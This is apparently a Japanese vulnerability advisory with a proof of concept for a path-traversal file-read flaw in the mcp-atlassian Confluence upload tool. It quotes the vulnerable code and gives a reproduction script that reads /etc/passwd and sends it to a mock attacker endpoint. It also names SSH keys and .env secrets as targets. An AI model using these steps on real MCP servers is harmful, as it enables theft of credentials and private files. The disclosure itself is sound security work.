
mcp-atlassian の confluence_upload_attachment におけるパストラバーサルを介した任意ファイル読み取りの概念実証エクスプロイト。分析と再現スクリプト付き。
深刻度: 高 (CVSS 8.6)
CWE: CWE-22 — パストラバーサル
影響を受けるバージョン: sooperset/mcp-atlassian < 0.22.0
修正バージョン: 0.22.0
アドバイザリ: GHSA-p6hp-93wp-fh6p
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-77262
報告者: Romain Deperne
confluence_upload_attachment MCP ツールは、その file_path 引数をパス検証なしで直接 open(file_path, "rb") に渡します。このツールを呼び出せる攻撃者は、サーバーファイルシステム上の任意のファイルを読み取り、マルチパートアップロードを介して攻撃者が制御する Confluence エンドポイントに外部送信できます。デフォルトの streamable-http トランスポートは認証なしで 0.0.0.0 にバインドされるため、認証情報なしでリモートから悪用可能です。
これは、以前に修正された GHSA-xjgw-4wvw-rgm4 の読み取り側の対となる脆弱性です — v0.17.0 の修正は書き込み/ダウンロードパスのみを対象としており、アップロードパスは保護されないままでした。
mcp-atlassian は v0.17.0 (GHSA-xjgw-4wvw-rgm4) で既にパストラバーサル修正を受けており、これは書き込みパス(添付ファイルのローカルディスクへのダウンロード)を修正したものでした。私の仮説: 対称的な操作の一方の方向に修正が適用された場合、もう一方の方向は見落とされることが多い。
attachments.py 内の open( 呼び出し箇所を確認したところ、ダウンロードパスはファイルを開く前に validate_safe_path(local_path) を呼び出している一方、アップロードパスは呼び出していないことが判明しました。両方向でパス検証に不整合がありました。
ツール定義でも確認できました: file_path: Annotated[str, Field(description="Absolute path to the file to upload")] であり、pattern= 制約もバリデータも何もありません。このフィールドは、制限なしの絶対パスを受け入れるものとして文字通り文書化されています。
エンドツーエンドで再現しました: 実際の mcp-atlassian サーバープロセスを起動し、MCP stdio クライアント (mcp.ClientSession) で駆動し、ローカルのモック Confluence HTTP スタブを指定し、file_path=/etc/passwd を指定して confluence_upload_attachment を呼び出しました。モックサーバーはマルチパートボディ内の完全な /etc/passwd コンテンツをログに記録しました。完全な再現実行を2回行い、両方とも PoC ファイルにログが記録されています。
デフォルトの HOST=0.0.0.0 バインドは認証なしのため、デフォルトのデプロイメントでは認証情報なしでリモートから悪用可能です。
ファイル: src/mcp_atlassian/confluence/attachments.py、477行目
with open(file_path, "rb") as fp: # ← file_path は攻撃者によって制御される
files = {"file": (filename, fp, content_type)}
response = self.confluence.session.post(url, files=files, ...)
ツール定義 (src/mcp_atlassian/servers/confluence.py:1307):
file_path: Annotated[str, Field(description="Absolute path to the file to upload")]
# pattern= なし、バリデータなし、validate_safe_path() なし
修正済みダウンロードパスとの非対称性:
# attachments.py:223 — 修正済み (ダウンロードパス)
validate_safe_path(local_path) # ← v0.17.0 で追加されたガード
open(local_path, "wb")
# attachments.py:477 — 脆弱 (アップロードパス)
open(file_path, "rb") # ← ガードなし、v0.17.0 で見落とされた
GHSA-xjgw-4wvw-rgm4 に対する v0.17.0 のパッチは、書き込み側(添付ファイルのローカルディスクへのダウンロード)に validate_safe_path() 呼び出しを追加しましたが、読み取り側(ローカルファイルの Confluence へのアップロード)は監査しませんでした。check_write_access デコレータは無関係です — これは READ_ONLY_MODE のみを制御します。
デフォルトのネットワーク露出 (src/mcp_atlassian/__init__.py:151):
HOST = "0.0.0.0" # すべてのインターフェースにバインド
# streamable-http トランスポートに認証レイヤーなし
Confluence API をシミュレートするローカル HTTP スタブに対してエンドツーエンドで完全に再現しました。mcp_client.py、mock_confluence.py、poc_run1.sh を参照してください。
# poc_run1.sh — confluence_upload_attachment を介して /etc/passwd を読み取る
# 1. モック Confluence エンドポイントを起動
python mock_confluence.py &
# 2. パストラバーサルペイロードで MCP ツールを呼び出し
python mcp_client.py \
--tool confluence_upload_attachment \
--page-id 123456 \
--file-path /etc/passwd \
--filename passwd.txt
# → /etc/passwd の内容が mock_confluence.py のログに表示される
/etc/passwd、SSH キー、.env、アプリケーションの秘密情報)streamable-http トランスポートは 0.0.0.0 にバインドされ、認証なし。ネットワーク到達可能な攻撃者は誰でも MCP ツールを直接呼び出せる